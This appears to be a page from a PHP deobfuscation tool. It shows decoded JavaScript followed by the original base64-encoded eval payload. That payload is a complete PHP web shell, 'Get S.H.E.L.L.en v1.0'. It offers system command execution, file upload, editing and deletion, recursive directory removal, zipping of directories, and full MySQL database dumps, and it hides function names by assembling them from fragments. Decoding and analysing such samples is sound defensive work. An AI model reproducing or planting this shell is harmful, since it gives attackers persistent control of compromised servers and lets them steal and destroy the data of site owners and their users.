function goto()
{
var dir = prompt(\'Dir:\');
if( dir )
{
sehife("?qovluq=" + dir);
}
}
function ziple(qovluq)
{
var dir = prompt(\'Dir:\' , "<?=htmlspecialchars($default_dir)?>");
if( dir )
{
sehife("?ne=ziple&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq + "&save_to=" + b64EncodeUnicode(dir))
}
}
function silPapka(qovluq)
{
if( confirm(\'Eminsen atash?\') )
{
sehife("?ne=papka_sil&qovluq=<?=urlencode(urlencode(shifrele($default_dir)))?>&zf=" + qovluq)
}
}
function shifrelee()
{
var vall = document.getElementsByClassName(\'file_edit\')[0].value;
var repp = [\'a\',\'i\',\'e\',\'s\',\'l\',\'b\',\'u\',\'o\',\'p\',\'h\',"\(","\)","\<","\>","\?","\;","\[","\]","\$"];
for(var s in repp)
{
var h = repp[s];
vall = vall.replace(new RegExp(h, \'g\') , \'|:\'+s+\':|\');
}
document.getElementsByClassName(\'file_edit\')[0].value = vall;
}
document.getElementById("emr_et_atash").addEventListener("keyup", function(event)
{
event.preventDefault();
if (event.keyCode === 13)
{
sistemKom();
}
});
</script>
</body>
</html>
'
Did this file decode correctly?
Original Code
<?= eval(
"?>" .
base64_decode(
"PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCiRiYXFsaUZ1bmtzaXlhbGFyID0gZXhwbG9kZSgiLCIsICIiKTsNCiRzYWZlTW9kZSA9IHRydWU7DQokYWN0aW9ucyA9IGFycmF5KCJlc2FzIiwiZmF5bF9veHUiLCJwaHBpbmZvIiwic2lzdGVtX2tvbSIsImZheWxfcmVkYWt0ZSIsImZheWxfeXVrbGUiLCdmYXlsX3NpbCcsJ2ZheWxfeWFyYXQnLCdwYXBrYV95YXJhdCcsJ2ZheWxfc2lmaXJsYScgLCAncGFwa2Ffc2lsJywnZmF5bF9hZF9kZXlpc2gnLCAnemlwbGUnICwgJ3NrbCcgLCAnc2tsX2RfdCcgLCAnc2tsX2QnLCAnZmF5bF91cGwnKTsNCiRuZSA9IGlzc2V0KCRfUE9TVFsnbmUnXSkgJiYgaW5fYXJyYXkoJF9QT1NUWyduZSddLCRhY3Rpb25zKSA/ICRfUE9TVFsnbmUnXSA6ICJlc2FzIjsNCg0KDQoNCmZ1bmN0aW9uIHNoaWZyZWxlKCRzdHIpDQp7DQoJJGYgPSAnYmFzJzsNCgkkZiAuPSAnZTYnOw0KCSRmIC49ICc0Xyc7DQoJJGYgLj0gJ2UnOw0KCSRmIC49ICduYyc7DQoJJGYgLj0gJ29kZSc7DQoJcmV0dXJuICRmKCRzdHIpOw0KfQ0KZnVuY3Rpb24gZGVzaGlmcmVsZSgkc3RyKQ0Kew0KCSRmID0gJ2Jhcyc7DQoJJGYgLj0gJ2U2JzsNCgkkZiAuPSAnNF8nOw0KCSRmIC49ICdkJzsNCgkkZiAuPSAnZWMnOw0KCSRmIC49ICdvZGUnOw0KCXJldHVybiAkZigkc3RyKTsNCn0NCmZ1bmN0aW9uIHRvb2tZYXJhdCgkdEFkKQ0Kew0KCWlmKGlzc2V0KCRfU0VTU0lPTlskdEFkXSkpDQoJew0KCQl1bnNldCgkX1NFU1NJT05bJHRBZF0pOw0KCX0NCgkkeWVuaVRvb2sgPSBtZDUoc2hpZnJlbGUodGltZSgpLnJhbmQoMSw5OTk5OTk5OSkpKTsNCgkkX1NFU1NJT05bJHRBZF0gPSAkeWVuaVRvb2s7DQoJcmV0dXJuICR5ZW5pVG9vazsNCn0NCmZ1bmN0aW9uIHFvdmx1cXVZYXooKQ0Kew0KCWdsb2JhbCAkZGVmYXVsdF9kaXI7DQoJJHNvbkRpciA9IGFycmF5KCk7DQoJJHVtdW1pSGlzc2VsZXIgPSAiIjsNCgkkcGFyc2UgPSBleHBsb2RlKCIvIiwgJGRlZmF1bHRfZGlyKTsNCg0KCSRpaSA9IDA7DQoJZm9yZWFjaCgkcGFyc2UgQVMgJGhpc3NlKQ0KCXsNCgkJJGlpKys7DQoJCSR1bXVtaUhpc3NlbGVyLj0kaGlzc2UuIi8iOw0KCQkkc29uRGlyW10gPSAiPGEgaHJlZj0namF2YXNjcmlwdDpzZWhpZmUoXCI/cW92bHVxPSIudXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkdW11bWlIaXNzZWxlcikpKS4iXCIpJz4iLmh0bWxzcGVjaWFsY2hhcnMoZW1wdHkoJGhpc3NlKSYmJGlpIT1jb3VudCgkcGFyc2UpPycvJzokaGlzc2UpLiI8L2E+IjsNCgl9DQoJJHNvbkRpciA9IGltcGxvZGUoIi8iLCAkc29uRGlyKTsNCglwcmludCAkc29uRGlyIC4gJyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyggPGEgaHJlZj0iIj5SZXNldDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvdG8oKSI+R28gdG88L2E+ICknOw0KfQ0KZnVuY3Rpb24gc2l6ZUZvcm1hdCgkYnl0ZXMpDQp7DQoJaWYoJGJ5dGVzPj0xMDczNzQxODI0KQ0KCXsNCgkJJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR2InOw0KCX0NCgllbHNlIGlmKCRieXRlcz49MTA0ODU3NikNCgl7DQoJCSRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1iJzsNCgl9DQoJZWxzZSBpZigkYnl0ZXM+PTEwMjQpDQoJew0KCQkkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLYic7DQoJfQ0KCWVsc2UNCgl7DQoJCSRieXRlcyA9ICRieXRlcyAuICcgYic7DQoJfQ0KCXJldHVybiAkYnl0ZXM7DQp9DQpmdW5jdGlvbiB1dGY4aXplKCRkKQ0Kew0KCWlmIChpc19hcnJheSgkZCkpDQoJew0KCQlmb3JlYWNoICgkZCBhcyAkayA9PiAkdikNCgkJew0KCQkJJGRbJGtdID0gdXRmOGl6ZSgkdik7DQoJCX0NCgl9DQoJZWxzZSBpZiAoaXNfc3RyaW5nICgkZCkpDQoJew0KCQlyZXR1cm4gdXRmOF9lbmNvZGUoJGQpOw0KCX0NCglyZXR1cm4gJGQ7DQp9DQpmdW5jdGlvbiBycm1kaXIoJGRpcikNCnsNCglpZiAoaXNfZGlyKCRkaXIpKQ0KCXsNCgkJJG9iamVjdHMgPSBzY2FuZGlyKCRkaXIpOw0KDQoJCWZvcmVhY2ggKCRvYmplY3RzIGFzICRvYmplY3QpDQoJCXsNCgkJCWlmICgkb2JqZWN0ICE9ICIuIiAmJiAkb2JqZWN0ICE9ICIuLiIpDQoJCQl7DQoJCQkJaWYgKGlzX2RpcigkZGlyIC4gIi8iIC4gJG9iamVjdCkpDQoJCQkJew0KCQkJCQlycm1kaXIoJGRpciAuICIvIiAuICRvYmplY3QpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGRpciAuICIvIiAuICRvYmplY3QgKTsNCgkJCQl9DQoJCQl9DQoJCX0NCg0KCQlybWRpciggJGRpciApOw0KCX0NCn0NCg0KJGRlZmF1bHRfZGlyID0gZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ3Fvdmx1cSddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydxb3ZsdXEnXSkgKQ0Kew0KCSRkZWZhdWx0X2RpciA9IGVtcHR5KCRfUE9TVFsncW92bHVxJ10pID8gRElSRUNUT1JZX1NFUEFSQVRPUiA6IGRlc2hpZnJlbGUodXJsZGVjb2RlKHVybGRlY29kZSgkX1BPU1RbJ3Fvdmx1cSddKSkpOw0KCSRjX2hfZGlyX2NvbW0gPSAnYycuJ2hkJy4naXInOw0KCSRjX2hfZGlyX2NvbW0oJGRlZmF1bHRfZGlyKTsNCn0NCg0KJGRlZmF1bHRfZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkZGVmYXVsdF9kaXIpOw0KDQppZihpc3NldCgkX0dFVFsnbmUnXSkgJiYgJF9HRVRbJ25lJ109PSJwaW5mIikNCnsNCglvYl9zdGFydCgpOw0KCXBocGluZm8oKTsNCgkkcEluZiA9IG9iX2dldF9jbGVhbigpOw0KCXByaW50IHN0cl9yZXBsYWNlKCJib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmZmZmOyBjb2xvcjogIzAwMDAwMDt9IiwiIiwkcEluZik7DQoJZXhpdCgpOw0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX3l1a2xlIiAmJiBpc3NldCgkX1BPU1RbJ2ZheWwnXSkgJiYgIiIhPSh0cmltKCRfUE9TVFsnZmF5bCddKSkpDQp7DQoJJGZheWxBZGkgPSBiYXNlbmFtZShkZXNoaWZyZWxlKHVybGRlY29kZSgkX1BPU1RbJ2ZheWwnXSkpKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkNCgl7DQoJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkZmF5bEFkaSkpOw0KCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBmaWxlc2l6ZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSk7DQoJCXJlYWRmaWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX3NpbCIgJiYgaXNzZXQoJF9QT1NUWydmYXlsJ10pICYmICIiIT0odHJpbSgkX1BPU1RbJ2ZheWwnXSkpKQ0Kew0KCSRmYXlsQWRpID0gYmFzZW5hbWUoZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWydmYXlsJ10pKSk7DQoJJGF5aXJpY2kgPSBzdWJzdHIoJGRlZmF1bHRfZGlyLHN0cmxlbigkZGVmYXVsdF9kaXIpLTEpIT0iLyIgJiYgc3Vic3RyKCRmYXlsQWRpLDAsMSkhPSIvIiA/ICIvIiA6ICIiOw0KCWlmKGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgJiYgaXNfcmVhZGFibGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkpDQoJew0KCQl1bmxpbmsoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSk7DQoJfQ0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX3NpZmlybGEiICYmIGlzc2V0KCRfUE9TVFsnZmF5bCddKSAmJiAiIiE9KHRyaW0oJF9QT1NUWydmYXlsJ10pKSkNCnsNCgkkZmF5bEFkaSA9IGJhc2VuYW1lKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnZmF5bCddKSkpOw0KCSRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2RpcixzdHJsZW4oJGRlZmF1bHRfZGlyKS0xKSE9Ii8iICYmIHN1YnN0cigkZmF5bEFkaSwwLDEpIT0iLyIgPyAiLyIgOiAiIjsNCglpZihpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKQ0KCXsNCgkJZmlsZV9wdXRfY29udGVudHMoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSwgJycpOw0KCX0NCn0NCmVsc2UgaWYoJG5lPT0iZmF5bF95YXJhdCIgJiYgaXNzZXQoJF9QT1NUWydhZCddKSAmJiAhZW1wdHkoJF9QT1NUWydhZCddKSkNCnsNCgkkZmF5bEFkaSA9IGJhc2VuYW1lKHVybGRlY29kZSgkX1BPU1RbJ2FkJ10pKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoIGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSkgKQ0KCXsNCgkJcHJpbnQgJzxzY3JpcHQ+YWxlcnQoIkJ1IGFkZGEgZmF5bCBhcnRpcSBtb3ZjdWRkdXIhIik7PC9zY3JpcHQ+JzsNCgl9DQoJZWxzZQ0KCXsNCgkJZmlsZV9wdXRfY29udGVudHMoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bEFkaSwgJycpOw0KCX0NCn0NCmVsc2UgaWYoJG5lPT0icGFwa2FfeWFyYXQiICYmIGlzc2V0KCRfUE9TVFsnYWQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYWQnXSkpDQp7DQoJJHBhcGthQWRpID0gYmFzZW5hbWUodXJsZGVjb2RlKCRfUE9TVFsnYWQnXSkpOw0KCSRheWlyaWNpID0gc3Vic3RyKCRkZWZhdWx0X2RpcixzdHJsZW4oJGRlZmF1bHRfZGlyKS0xKSE9Ii8iICYmIHN1YnN0cigkcGFwa2FBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoIGlzX2ZpbGUoJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkcGFwa2FBZGkpICkNCgl7DQoJCXByaW50ICc8c2NyaXB0PmFsZXJ0KCJCdSBhZGRhIHBhcGthIGFydGlxIG1vdmN1ZGR1ciEiKTs8L3NjcmlwdD4nOw0KCX0NCgllbHNlDQoJew0KCQlta2RpcigkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRwYXBrYUFkaSk7DQoJfQ0KfQ0KZWxzZSBpZigkbmU9PSJmYXlsX2FkX2RleWlzaCIgJiYgaXNzZXQoJF9QT1NUWydmYXlsJ10pICYmICIiIT0odHJpbSgkX1BPU1RbJ2ZheWwnXSkpICYmIGlzc2V0KCRfUE9TVFsnbmV3X25hbWUnXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsnbmV3X25hbWUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbmV3X25hbWUnXSkpDQp7DQoJJGZheWxBZGkgPSBiYXNlbmFtZShkZXNoaWZyZWxlKHVybGRlY29kZSgkX1BPU1RbJ2ZheWwnXSkpKTsNCgkkZmF5bFllbmlBZCA9IGJhc2VuYW1lKHVybGRlY29kZSgkX1BPU1RbJ25ld19uYW1lJ10pKTsNCgkkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsc3RybGVuKCRkZWZhdWx0X2RpciktMSkhPSIvIiAmJiBzdWJzdHIoJGZheWxBZGksMCwxKSE9Ii8iID8gIi8iIDogIiI7DQoJaWYoaXNfZmlsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSAmJiBpc19yZWFkYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkNCgl7DQoJCXJlbmFtZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpICwgJGRlZmF1bHRfZGlyIC4gJGF5aXJpY2kgLiAkZmF5bFllbmlBZCk7DQoJfQ0KfQ0KZWxzZSBpZiggJG5lID09ICdza2xfZF90JyAmJiBpc3NldCgkX1BPU1RbJ3QnXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsndCddKSAmJiAhZW1wdHkoJF9QT1NUWyd0J10pICkNCnsNCgkkdGFibGVOYW1lID0gZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWyd0J10pKTsNCg0KCSRob3N0ID0gaXNzZXQoJF9DT09LSUVbJ2hvc3QnXSkgPyAkX0NPT0tJRVsnaG9zdCddIDogJyc7DQoJJHVzZXIgPSBpc3NldCgkX0NPT0tJRVsndXNlciddKSA/ICRfQ09PS0lFWyd1c2VyJ10gOiAnJzsNCgkkcGFyb2wgPSBpc3NldCgkX0NPT0tJRVsncGFyb2wnXSkgPyAkX0NPT0tJRVsncGFyb2wnXSA6ICcnOw0KCSRiYXphID0gaXNzZXQoJF9DT09LSUVbJ2JhemEnXSkgPyAkX0NPT0tJRVsnYmF6YSddIDogJyc7DQoNCgkkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogJ2RibmFtZT0nIC4gJGJhemEgLiAnOyc7DQoNCglpZiggIWVtcHR5KCAkaG9zdCApICYmICFlbXB0eSgkYmF6YSkgKQ0KCXsNCgkJdHJ5DQoJCXsNCgkJCSRwZG8gPSBuZXcgUERPKCdteXNxbDpob3N0PScgLiAkaG9zdCAuICc7Y2hhcnNldD11dGY4OycgLiAkYmF6YVN0ciAsICR1c2VyICwgJHBhcm9sLGFycmF5KFBETzo6TVlTUUxfQVRUUl9JTklUX0NPTU1BTkQgPT4gIlNFVCBOQU1FUyAndXRmOCciKSk7DQoJCQkkcGRvLT5zZXRBdHRyaWJ1dGUoUERPOjpBVFRSX0RFRkFVTFRfRkVUQ0hfTU9ERSwgUERPOjpGRVRDSF9BU1NPQyk7DQoNCgkJCSRnZXRDb2x1bW5zID0gJHBkby0+cHJlcGFyZSgiU0VMRUNUIGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPT8gYW5kIHRhYmxlX25hbWU9PyIpOw0KCQkJJGdldENvbHVtbnMtPmV4ZWN1dGUoYXJyYXkoJGJhemEgLCAkdGFibGVOYW1lKSk7DQoJCQkkY29sdW1ucyA9ICRnZXRDb2x1bW5zLT5mZXRjaEFsbCgpOw0KDQoJCQlpZiggJGNvbHVtbnMgKQ0KCQkJew0KDQoJCQkJJGRhdGEgPSAkcGRvLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJyAuICR0YWJsZU5hbWUgLidgJyk7DQoJCQkJJGRhdGEgPSAkZGF0YS0+ZmV0Y2hBbGwoKTsNCg0KCQkJCWhlYWRlcignQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZF8nIC4gYmFzZW5hbWUoaHRtbHNwZWNpYWxjaGFycygkdGFibGVOYW1lKSkgLiAnLmpzb24nKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KCQkJCWVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ICdUYWJsZSBub3QgZm91bmQhJzsNCgkJCX0NCg0KCQl9DQoJCWNhdGNoIChFeGNlcHRpb24gJGUpDQoJCXsNCgkJCXByaW50ICRlLT5nZXRNZXNzYWdlKCk7DQoJCX0NCgl9DQoJZWxzZQ0KCXsNCgkJcHJpbnQgJ0Vycm9yISBQbGVhc2UgY29ubmVjdCB0byBTUUwhJzsNCgl9DQoJZGllOw0KfQ0KZWxzZSBpZiggJG5lID09ICdza2xfZCcgKQ0Kew0KCSRob3N0ID0gaXNzZXQoJF9DT09LSUVbJ2hvc3QnXSkgPyAkX0NPT0tJRVsnaG9zdCddIDogJyc7DQoJJHVzZXIgPSBpc3NldCgkX0NPT0tJRVsndXNlciddKSA/ICRfQ09PS0lFWyd1c2VyJ10gOiAnJzsNCgkkcGFyb2wgPSBpc3NldCgkX0NPT0tJRVsncGFyb2wnXSkgPyAkX0NPT0tJRVsncGFyb2wnXSA6ICcnOw0KCSRiYXphID0gaXNzZXQoJF9DT09LSUVbJ2JhemEnXSkgPyAkX0NPT0tJRVsnYmF6YSddIDogJyc7DQoNCgkkYmF6YVN0ciA9IGVtcHR5KCRiYXphKSA/ICcnIDogJ2RibmFtZT0nIC4gJGJhemEgLiAnOyc7DQoNCglpZiggIWVtcHR5KCAkaG9zdCApICYmICFlbXB0eSgkYmF6YSkgKQ0KCXsNCgkJdHJ5DQoJCXsNCgkJCSRwZG8gPSBuZXcgUERPKCdteXNxbDpob3N0PScgLiAkaG9zdCAuICc7Y2hhcnNldD11dGY4OycgLiAkYmF6YVN0ciAsICR1c2VyICwgJHBhcm9sLGFycmF5KFBETzo6TVlTUUxfQVRUUl9JTklUX0NPTU1BTkQgPT4gIlNFVCBOQU1FUyAndXRmOCciKSk7DQoJCQkkcGRvLT5zZXRBdHRyaWJ1dGUoUERPOjpBVFRSX0RFRkFVTFRfRkVUQ0hfTU9ERSwgUERPOjpGRVRDSF9BU1NPQyk7DQoNCgkJCSRhbGxEYXRhID0gYXJyYXkoKTsNCg0KCQkJJHRhYmxlcyA9ICRwZG8tPnByZXBhcmUoJ1NFTEVDVCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9PycpOw0KCQkJJHRhYmxlcy0+ZXhlY3V0ZShhcnJheSgkYmF6YSkpOw0KCQkJJHRhYmxlcyA9ICR0YWJsZXMtPmZldGNoQWxsKCk7DQoNCgkJCWZvcmVhY2goICR0YWJsZXMgQVMgJHRhYmxlTmFtZSApDQoJCQl7DQoJCQkJJHRhYmxlTmFtZSA9ICR0YWJsZU5hbWVbJ3RhYmxlX25hbWUnXTsNCg0KCQkJCSRkYXRhID0gJHBkby0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcgLiAkdGFibGVOYW1lIC4nYCcpOw0KCQkJCSRkYXRhID0gJGRhdGEtPmZldGNoQWxsKCk7DQoNCgkJCQkkYWxsRGF0YVskdGFibGVOYW1lXSA9ICRkYXRhID8gYXJyYXkoJGRhdGEpIDogYXJyYXkoKTsNCgkJCX0NCg0KCQkJaGVhZGVyKCdDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kX2JfJyAuIGJhc2VuYW1lKGh0bWxzcGVjaWFsY2hhcnMoJGJhemEpKSAuICcuanNvbicpOw0KCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCg0KCQkJZWNobyBqc29uX2VuY29kZSggdXRmOGl6ZSggJGFsbERhdGEpICk7DQoJCX0NCgkJY2F0Y2ggKEV4Y2VwdGlvbiAkZSkNCgkJew0KCQkJcHJpbnQgJGUtPmdldE1lc3NhZ2UoKTsNCgkJfQ0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnRXJyb3IhIFBsZWFzZSBjb25uZWN0IHRvIFNRTCEnOw0KCX0NCglkaWU7DQp9DQplbHNlIGlmKCAkbmUgPT0gJ3ppcGxlJw0KCSYmIGlzc2V0KCRfUE9TVFsnc2F2ZV90byddICwgJF9QT1NUWyd6ZiddKSAmJiBpc19zdHJpbmcoJF9QT1NUWydzYXZlX3RvJ10pDQoJJiYgIWVtcHR5KCRfUE9TVFsnc2F2ZV90byddKSAmJiAhaW5fYXJyYXkoJF9QT1NUWydzYXZlX3RvJ10gLCBhcnJheSgnLicgLCAnLi4nICwgJy4vJyAsICcuLi8nKSkNCgkmJiBpc19zdHJpbmcoJF9QT1NUWyd6ZiddKSAmJiAhZW1wdHkoJF9QT1NUWyd6ZiddKQ0KKQ0Kew0KCSRzYXZlX3RvID0gZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWydzYXZlX3RvJ10pKTsNCg0KCSRyb290UGF0aCA9IHJlYWxwYXRoKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnemYnXSkpKTsNCg0KCSRmaWxlTmFtZTEgPSAnYmFrXycubWljcm90aW1lKDEpIC4gJ18nIC4gcmFuZCgxMDAwLCA5OTk5OSkgLiAnLnppcCc7DQoJJGZpbGVOYW1lID0gJHNhdmVfdG8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVOYW1lMTsNCg0KCWlmKCBpc19kaXIoICRzYXZlX3RvICkgJiYgaXNfZGlyKCAkcm9vdFBhdGggKSAmJiBpc193cml0YWJsZSggJHNhdmVfdG8gKSApDQoJew0KCQlzZXRfdGltZV9saW1pdCgwKTsNCg0KCQkkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCgkJJHppcC0+b3BlbiggJGZpbGVOYW1lICwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFICk7DQoNCgkJJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoDQoJCQluZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHJvb3RQYXRoKSwNCgkJCVJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OkxFQVZFU19PTkxZDQoJCSk7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRuYW1lID0+ICRmaWxlKQ0KCQl7DQoJCQlpZiAoISRmaWxlLT5pc0RpcigpKQ0KCQkJew0KCQkJCSRmaWxlUGF0aCA9ICRmaWxlLT5nZXRSZWFsUGF0aCgpOw0KCQkJCSRyZWxhdGl2ZVBhdGggPSBzdWJzdHIoJGZpbGVQYXRoLCBzdHJsZW4oJHJvb3RQYXRoKSArIDEpOw0KDQoJCQkJJHppcC0+YWRkRmlsZSgkZmlsZVBhdGgsICRyZWxhdGl2ZVBhdGgpOw0KCQkJfQ0KCQl9DQoNCgkJJHppcC0+Y2xvc2UoKTsNCgkJcHJpbnQgJ1NhdmVkITxocj4nOw0KCX0NCgllbHNlDQoJew0KCQlwcmludCAnRGlyIGlzIG5vdCB3cml0ZWFibGUhPGhyPic7dmFyX2R1bXAoKCAkc2F2ZV90byApICk7DQoJfQ0KfQ0KZWxzZSBpZiggJG5lID09ICdwYXBrYV9zaWwnDQoJJiYgaXNzZXQoJF9QT1NUWyd6ZiddKSAmJiBpc19zdHJpbmcoJF9QT1NUWyd6ZiddKSAmJiAhZW1wdHkoJF9QT1NUWyd6ZiddKQ0KKQ0Kew0KCSRyb290UGF0aCA9IHJlYWxwYXRoKGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsnemYnXSkpKTsNCg0KCWlmKCBpc19kaXIoICRyb290UGF0aCApICkNCgl7DQoJCXNldF90aW1lX2xpbWl0KDApOw0KDQoJCXJybWRpciggJHJvb3RQYXRoICk7DQoJfQ0KCWVsc2UNCgl7DQoJCXByaW50ICdEaXIgaXMgbm90IHdyaXRlYWJsZSE8aHI+Jzt2YXJfZHVtcCgoICRzYXZlX3RvICkgKTsNCgl9DQp9DQplbHNlIGlmKCRuZSA9PSAnZmF5bF91cGwnICYmIGlzc2V0KCRfRklMRVNbJ3VmYXlsJ10pKQ0Kew0KCW1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1ZmF5bCddWyd0bXBfbmFtZSddLCAkZGVmYXVsdF9kaXIgLiAnLycgLiAkX0ZJTEVTWyd1ZmF5bCddWyduYW1lJ10pOw0KCXByaW50ICJVcGxvYWQgb2xkdSBkZXllc2VuLiI7DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5HZXQgUy5ILkUuTC5MLmVuIHYxLjAgfCBCWSAuLjwvdGl0bGU+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+DQo8c3R5bGU+DQpib2R5DQp7DQoJYmFja2dyb3VuZC1jb2xvcjogIzIyMjIyMjsNCgljb2xvcjogI0Q2RDRENDsNCglmb250LWZhbWlseTogTHVjaWRhLFZlcmRhbmE7DQoJZm9udC1zaXplOiAxMnB4Ow0KfQ0KLnFhbGluDQp7DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWNvbG9yOiAjRDY5MDVFOw0KCWZvbnQtd2VpZ2h0OiA2MDA7DQp9DQouc3VjY2Vzcw0Kew0KCWNvbG9yOiAjOURCNzU0Ow0KfQ0KLmJhZA0Kew0KCWNvbG9yOiAjQjc1NjU0Ow0KfQ0KYQ0Kew0KCWNvbG9yOiAjQUNCNzU0Ow0KCXRleHQtZGVjb3JhdGlvbjogbm9uZSAhaW1wb3J0YW50Ow0KfQ0KLmZNYW5hZ2VyLC5mTWFuYWdlciB0Ym9keSwuZk1hbmFnZXIgdHINCnsNCglwYWRkaW5nOiAwOw0KCWJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7DQoJbWFyZ2luOiAwOw0KCWZvbnQtc2l6ZTogMTJweDsNCn0NCi5mTWFuYWdlcg0Kew0KCW1hcmdpbjogMTBweCAwOw0KfQ0KLmZNYW5hZ2VyIHRib2R5IHRyOm50aC1jaGlsZCgybisxKQ0Kew0KCWJhY2tncm91bmQ6ICMzMzE3MTc7DQp9DQouZk1hbmFnZXIgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKQ0Kew0KCWJhY2tncm91bmQ6ICMxQzBDMEM7